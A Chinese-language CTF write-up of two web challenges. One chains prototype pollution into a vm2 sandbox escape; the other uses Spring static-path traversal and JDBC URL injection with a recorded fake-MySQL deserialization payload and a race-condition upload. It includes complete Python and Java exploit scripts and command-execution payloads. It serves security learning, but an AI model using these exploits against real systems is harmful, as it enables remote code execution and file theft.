0x01 复现环境
所有复现环境均在
0x02 nodejs
题目描述:使用nodejs编写的一个网站。
打开题目附件有一个js文件和一个package.json,执行npm i安装依赖,再通过node app.js运行环境。因为附件缺失了index.html,直接看app.js的源码。
在/sandbox这个接口发现了可能可以执行代码的部分,但是却需要管理员权限,那我们现在去找哪里可以搞到管理员权限。
app.post('/sandbox', async (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });
const username = req.session.user.username;
const user = users[username];
if (user.isAdmin !== true) {
return res.json({ error: '需要管理员权限' });
}
const { code } = req.body;
if (!code) return res.json({ error: '请提供代码' });
try {
const sandboxResult = { value: null };
const vm = new VM({
timeout: 5000,
sandbox: { __result: sandboxResult }
});
const result = vm.run(code);
await new Promise(resolve => setTimeout(resolve, 500));
res.json({
result: result?.toString() || '执行成功',
output: sandboxResult.value
});
} catch (error) {
res.json({ error: error.message });
}
});找到关键突破点merge函数,这是对对象进行合并的函数,并且支持嵌套对象。问了ChatGPT说存在原型链污染,因为我对这块也不是很清楚,因此进行了简单的学习。
function merge(target, source) {
for (let key in source) {
if (key === '__proto__') continue;
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}js的原型链有点类似于JAVA中类的继承,当当前对象的某个属性或方法找不到时,就会到原型链上进行寻找。而且这个原型链是所有对象都共享!如果在原型链上更改了某个属性值,那么如果当前对象没有这个属性,访问这个对象的该属性返回的就是原型链的值! 原型链污染有俩条路径分别为:
路径:
obj.__proto__.prototype.xxx
obj.constructor.prototype.xxx
示例payload:
{
"constructor": {
"prototype": {
"polluted": true
}
}
}简单了解原理后,本题的解题思路也明朗了,即通过原型链污染使得isAdmin为true!再会看执行代码部分,这是一个沙箱,需要沙箱逃逸。
app.post('/sandbox', async (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });
const username = req.session.user.username;
const user = users[username];
if (user.isAdmin !== true) {
return res.json({ error: '需要管理员权限' });
}
const { code } = req.body;
if (!code) return res.json({ error: '请提供代码' });
try {
const sandboxResult = { value: null };
const vm = new VM({
timeout: 5000,
sandbox: { __result: sandboxResult }
});
const result = vm.run(code);
await new Promise(resolve => setTimeout(resolve, 500));
res.json({
result: result?.toString() || '执行成功',
output: sandboxResult.value
});
} catch (error) {
res.json({ error: error.message });
}
});在package中查看vm2的版本为3.10.0,满足<= 3.10.1,用到最新的CVE-2026-22709漏洞。官方Poc为
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});那么我们更改一下就可以执行任意指令啦!最终exp如下
import re
import sys
import requests
from bs4 import BeautifulSoup
s= requests.Session()
def exploit(target: str):
target = target.rstrip("/")
url = target + "/login"
print(url)
print("获取登录cookie")
r = s.post(
target + "/register",
json={"username": "admin", "password": "123456"}, # ,"constructor": {"prototype": {"isAdmin": True}}
timeout=10
)
print("[+] HTTP content:", r.content.decode('utf-8'))
r = s.post(
target + "/login",
json={"username":"admin","password":"123456"},#,"constructor": {"prototype": {"isAdmin": True}}
timeout=10
)
print("[+] HTTP content:", r.content.decode('utf-8'))
r = s.post(
target + "/changepassword",
json={"oldPassword": "123456", "newPassword":"123456","confirmPassword":"123456","constructor": {"prototype": {"isAdmin": True}}}, # ,"constructor": {"prototype": {"isAdmin": True}}
timeout=10
)
print("[+] HTTP content:", r.content.decode('utf-8'))
r = s.get(target + "/admin", timeout=10)
print("[+] HTTP content:", r.content.decode('utf-8'))
r = s.post(
target + "/sandbox",
json={"code": "const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const run = Function(`return process.mainModule.require('child_process').execSync('whoami').toString()`); __result.value = run(); }); 'done';"}, # ,"constructor": {"prototype": {"isAdmin": True}}
timeout=10
)
print("[+] HTTP content:", r.content.decode('utf-8'))
if __name__ == "__main__":
exploit('http://127.0.0.1:3000')注意我执行的whoami,因为我是windows环境没放flag.txt~OvO
0x03 JDBC
题目附件及解题思路均来自[原创] 2026软件安全赛现场赛writeup-web方向-CTF对抗-看雪安全社区|专业技术交流与安全研究论坛
将附件全部拖到IDEA中,并重新加载maven。并启动ctf-challenge.jar ,版本应该是要JDK17。然后在项目结构中将ctf-challenge.jar 添加入库中即可解析jar包。先看WebConfig.java这个文件。
WebConfig.java中这段代码是 Spring WebFlux 中的静态资源配置,用于将 /static/** 路径的请求映射到服务器的 /app/static/ 目录,并且这里存在目录穿越CVE-2024-38816 SpringBoot静态路径穿越漏洞
package com.ctf.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.FileSystemResource;
import org.springframework.http.codec.ServerCodecConfigurer;
import org.springframework.web.reactive.function.server.RouterFunction;
import org.springframework.web.reactive.function.server.RouterFunctions;
import org.springframework.web.reactive.function.server.ServerResponse;
@Configuration
public class WebConfig {
@Bean
public RouterFunction<ServerResponse> route() {
return RouterFunctions
.resources("/static/**", new FileSystemResource("/app/static/"));
}
}在C盘目录下新建test.txt,然后通过目录穿越进行读取 /static/%5c/%5c/../../test.txt
那么通过目录穿越,我们就可以读取任意文件从而获取到源码ctf-challenge.jar 在反编译后,我们在控制器目录中可以看到俩个控制器,先看DatabaseController 的关键内容。
可以看到/api/connect接口对接收的url参数没有进行任何的处理,直接就DriverManager.getConnection(dbUrl); 上了,因此存在JDBC URL 注入漏洞
@RestController
@RequestMapping({"/api"})
public class DatabaseController {
public DatabaseController() {
}
@GetMapping(
value = {"/connect"},
produces = {"application/json"}
)
public Mono<Map<String, Object>> connect(@RequestParam("url") String dbUrl) {
return Mono.fromCallable(() -> {
Map<String, Object> result = new HashMap();
try {
Connection conn = DriverManager.getConnection(dbUrl);
result.put("success", true);
result.put("message", "Connection successful");
conn.close();
} catch (SQLException e) {
result.put("success", false);
result.put("error", e.getMessage());
}
return result;
});
}
}这里先讲最简单的出网利用,先下载java-chainsRelease Release 1.4.4 · vulhub/java-chains然后启动。按照启动界面上的账号密码登录后,选择FakeMySQLPayload的JDK17 RCE链,命令执行处可以用默认的calc进行验证。然后点击生成即可获取专属username这个就和token一个性质,每个token对应一个你生成的payload。
然后访问对应接口,譬如我这个token为 dd0f2d4,那么我应该带的参数为 /api/connect?url=jdbc:mysql://127.0.0.1:3308/?user=dd0f2d4&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&serverTimezone=UTC。注意要进行URL编码后再使用,实际效果如下,成功执行calc
但是在当时比赛在线下无法进行出网利用,这里就用到了socketFactory=com.mysql.cj.protocol.NamedPipeSocketFactory:强制客户端放弃TCP/IP,改用Windows命名管道通信。NamedPipeSocketFactory类在底层直接使用了 Java 的 java.io.RandomAccessFile(path, “rw”) 来打开文件,并且完全没有校验操作系统是否为 Windows,也没有校验该路径是否真的是一个命名管道。namedPipePath=uploads/payload.txt:指定命名管道文件,其会把该静态文件,当成一个 Socket 连接来读取和写入。伪造和服务器的连接。
这里用到的录制脚本如下。
import socket
import select
# 配置信息
FAKE_MYSQL_PORT = 3308 # 你本地能弹计算器的 Fake MySQL 端口
PROXY_PORT = 3309 # 本代理脚本监听的端口
PAYLOAD_FILE = "payload.txt"
def run_smart_proxy():
proxy_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
proxy_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
proxy_server.bind(('127.0.0.1', PROXY_PORT))
proxy_server.listen(1)
print(f"[*] 智能录制代理已启动,监听本地 {PROXY_PORT} 端口...")
client_sock, addr = proxy_server.accept()
print(f"[+] 收到 JDBC 客户端连接: {addr}")
target_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target_sock.connect(('127.0.0.1', FAKE_MYSQL_PORT))
print(f"[+] 已连接到 Fake MySQL (3308端口)")
payload_data = bytearray()
try:
while True:
# 监听哪边有数据发过来,超时时间设置为 3 秒
r, _, _ = select.select([client_sock, target_sock], [], [], 3.0)
if not r:
print("[*] 3秒内无数据交互,认为连接已结束,准备生成文件...")
break
for sock in r:
if sock == client_sock:
# JDBC 客户端发话了 -> 转发给 Fake MySQL,并用 \x00 占位
data = client_sock.recv(65535)
if not data:
raise Exception("Client closed")
target_sock.sendall(data)
payload_data.extend(b'\x00' * len(data))
print(f" [>] 客户端 -> 服务端: {len(data)} bytes (填充为 padding)")
elif sock == target_sock:
# Fake MySQL 服务端发话了 -> 转发给 JDBC,并记录真实数据
data = target_sock.recv(65535)
if not data:
raise Exception("Server closed")
client_sock.sendall(data)
payload_data.extend(data)
print(f" [<] 服务端 -> 客户端: {len(data)} bytes (记录真实数据)")
except Exception as e:
print(f"[*] 交互结束或中断: {e}")
finally:
client_sock.close()
target_sock.close()
proxy_server.close()
# 将记录的完整线性交互保存为文件
with open(PAYLOAD_FILE, "wb") as f:
f.write(payload_data)
print(f"\n[+++] 成功!智能录制完成,恶意文件 {PAYLOAD_FILE} 已生成!(总大小: {len(payload_data)} bytes)")
if __name__ == '__main__':
run_smart_proxy()此外还需要一个JDBC的测试项目,实现对交互过程的录制。
package org.example;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class JDBCTrigger {
public static void main(String[] args) {
// 指向 Python 代理脚本的 3309 端口
// 注意:这里必须与你最终打靶机的参数完全一致(除了端口和 socketFactory),
// 因为 user 等参数的长度会影响最终 Login 包的大小!
String jdbcUrl = "jdbc:mysql://127.0.0.1:3309/test" +
"?user=dd0f2d4" +
"&autoDeserialize=true" +
"&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" +
"&useSSL=false" +
"&serverTimezone=UTC";
System.out.println("[*] 正在向 Python 代理发起 JDBC 连接...");
System.out.println("[*] 目标 URL: " + jdbcUrl);
try {
// 显式加载驱动(8.x版本其实会自动加载,写上更保险)
Class.forName("com.mysql.cj.jdbc.Driver");
// 触发连接!
Connection conn = DriverManager.getConnection(jdbcUrl);
System.out.println("[+] 连接成功建立!(通常不会走到这里,因为反序列化会抛出异常)");
conn.close();
} catch (ClassNotFoundException e) {
System.err.println("[-] 找不到 MySQL 驱动,请检查 pom.xml 依赖: " + e.getMessage());
} catch (SQLException e) {
// 这是预期行为!反序列化发生类型转换错误时,会抛出 SQLException
System.out.println("[+] 捕获到 SQL 异常 (这是反序列化触发的正常现象!)");
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
System.out.println("[*] Java 测试代码执行完毕,请检查是否弹出计算器,以及 Python 脚本是否生成了 payload.txt。");
}
}pom.xml如下
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.fulucky</groupId>
<artifactId>rjaqsjdbcpayload</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
</dependencies>
</project>然后先启动监听脚本再启动JDBCTrigger,最后录制下来的payload.txt大约7200左右bytes。现在虽然完成了对交互的伪造,但是我们仍需要将payload.txt上传到服务器上,这里就得看另一个控制器FileUploadController
@RestController
@RequestMapping({"/api"})
public class FileUploadController {
private static final String UPLOAD_DIR = System.getProperty("user.dir") + "/uploads";
public FileUploadController() {
}
@PostMapping(
value = {"/upload"},
produces = {"application/json"}
)
public Mono<Map<String, Object>> uploadFile(@RequestPart("file") FilePart file) {
String filename = file.filename();
Map<String, Object> result = new HashMap();
if (filename != null && filename.endsWith(".txt")) {
if (!filename.contains("/") && !filename.contains("\\") && !filename.contains("..")) {
return file.content().map((dataBuffer) -> {
byte[] bytes = new byte[dataBuffer.readableByteCount()];
dataBuffer.read(bytes);
return bytes;
}).collectList().flatMap((bytesList) -> {
byte[] content = new byte[bytesList.stream().mapToInt((bxx) -> bxx.length).sum()];
int offset = 0;
for(byte[] b : bytesList) {
System.arraycopy(b, 0, content, offset, b.length);
offset += b.length;
}
Map<String, Object> res = new HashMap();
File uploadDir = new File(UPLOAD_DIR);
if (!uploadDir.exists()) {
uploadDir.mkdirs();
}
Path filePath = Paths.get(UPLOAD_DIR, filename);
try {
Files.write(filePath, content, new OpenOption[0]);
} catch (IOException e) {
res.put("success", false);
res.put("error", "文件保存失败:" + e.getMessage());
return Mono.just(res);
}
boolean hasNonAscii = false;
for(byte b : content) {
if (b < 0 || b > 127) {
hasNonAscii = true;
break;
}
}
if (hasNonAscii) {
try {
Files.delete(filePath);
} catch (IOException var12) {
}
res.put("success", false);
res.put("error", "文件内容包含非 ASCII 字符,已删除");
return Mono.just(res);
} else {
res.put("success", true);
res.put("message", "文件上传成功");
res.put("filename", filename);
res.put("path", filePath.toString());
return Mono.just(res);
}
});
} else {
result.put("success", false);
result.put("error", "非法文件名");
return Mono.just(result);
}
} else {
result.put("success", false);
result.put("error", "只允许上传.txt 后缀文件");
return Mono.just(result);
}
}
}这里对文件名后缀以及/ \ 管控及其严格,阻止了目录穿越。此外还对文件内容是否包含ASCII码进行了严格校验。但是问题也出现在这,因为服务器是先保存文件再对是否含ASCII码进行校验。所以存在条件竞争的可能,这里给出编写的py脚本。原理就是对文件按时间戳重命名后进行多次上传,每次上传后都要进行多次访问,尝试在删除前实现利用。
import requests
import threading
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib.parse
class ImprovedRaceExploit:
def __init__(self, base_url):
self.base_url = base_url
self.payload_content = None
self.success_count = 0
self.lock = threading.Lock()
self.upload_url = f"{base_url}/api/upload"
self.jdbc_template = "jdbc:mysql://127.0.0.1:3306/test?user=dd0f2d4&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&serverTimezone=UTC&socketFactory=com.mysql.cj.protocol.NamedPipeSocketFactory&namedPipePath=uploads/{filename}"
self.stop_flag = False
self.success_filename = None
self.success_response = None
def load_payload(self, payload_file="payload.txt"):
with open(payload_file, 'rb') as f:
self.payload_content = f.read()
print(f"[+] 加载payload: {len(self.payload_content)} bytes")
def upload_and_poll(self, filename):
if self.stop_flag:
return False
files = {'file': (filename, self.payload_content, 'text/plain')}
upload_session = requests.Session()
trigger_session = requests.Session()
def do_upload():
try:
resp = upload_session.post(self.upload_url, files=files, timeout=5)
result = resp.json()
if result.get('success'):
print(f"[+] 上传成功: {filename}")
return True
elif "非 ASCII" in result.get('error', ''):
print(f"[!] 文件被标记删除: {filename} (但已写入)")
return True
return False
except Exception:
return False
upload_thread = threading.Thread(target=do_upload)
upload_thread.start()
jdbc_url = self.jdbc_template.format(filename=filename)
encoded_url = urllib.parse.quote(jdbc_url, safe='')
full_url = f"{self.base_url}/api/connect?url={encoded_url}"
max_attempts = 30
for attempt in range(max_attempts):
if self.stop_flag:
upload_thread.join(timeout=1)
return False
try:
resp = trigger_session.get(full_url, timeout=2)
response_text = resp.text
# 打印响应(缩短显示)
print(f" 响应: {response_text[:150]}...")
# ===== 关键判断:直接在响应文本中查找成功标志 =====
# 你的payload触发后,响应中会包含这些类名
success_keywords = [
'PropertyWriter',
'AbstractTranslet',
'TemplatesImpl',
'org.apache.collections',
'com.sun.org.apache.xalan'
]
is_success = any(keyword in response_text for keyword in success_keywords)
if is_success:
with self.lock:
if not self.stop_flag:
self.stop_flag = True
self.success_count += 1
self.success_filename = filename
self.success_response = response_text
print(f"\n[🎯] 第{attempt + 1}次尝试成功: {filename}")
print(f" 响应: {response_text[:300]}")
upload_thread.join(timeout=1)
return True
except Exception as e:
pass
time.sleep(0.005)
if attempt > max_attempts // 2:
time.sleep(0.01)
upload_thread.join(timeout=2)
print(f"[-] 超时: {filename} (尝试{max_attempts}次)")
return False
def race_attack(self, num_requests=50, workers=10):
print(f"[*] 启动条件竞争: {num_requests} 个并发请求")
print(f"[*] 工作线程: {workers}")
print(f"[*] 检测关键词: PropertyWriter / AbstractTranslet / TemplatesImpl")
print("-" * 60)
with ThreadPoolExecutor(max_workers=workers) as executor:
futures = []
for i in range(num_requests):
filename = f"race_{int(time.time() * 1000)}_{i:04d}.txt"
future = executor.submit(self.upload_and_poll, filename)
futures.append(future)
for future in as_completed(futures):
if self.stop_flag:
for f in futures:
if not f.done():
f.cancel()
print(f"\n[🛑] 检测到成功触发,停止所有线程!")
break
print("-" * 60)
if self.success_filename:
print(f"\n[✅] 攻击成功!")
print(f" 文件名: {self.success_filename}")
print(f" 触发次数: {self.success_count}")
if self.success_response:
print(f" 响应内容: {self.success_response[:300]}")
else:
print(f"\n[❌] 攻击失败!未成功触发任何文件")
print(f"[*] 完成!成功触发: {self.success_count}/{num_requests}")
if __name__ == "__main__":
exploit = ImprovedRaceExploit("http://127.0.0.1:8000")
exploit.load_payload("payload.txt")
exploit.race_attack(num_requests=50, workers=10)执行效果如下。不过这部分代码可能存在触发执行命令多次的问题,因为各文件是异步上传触发的OvO,所以可能弹很多计算器,但是已经通过标志位防止每个进程的多次触发。
总的来说这对我是一道很新的题,挺有意思的!
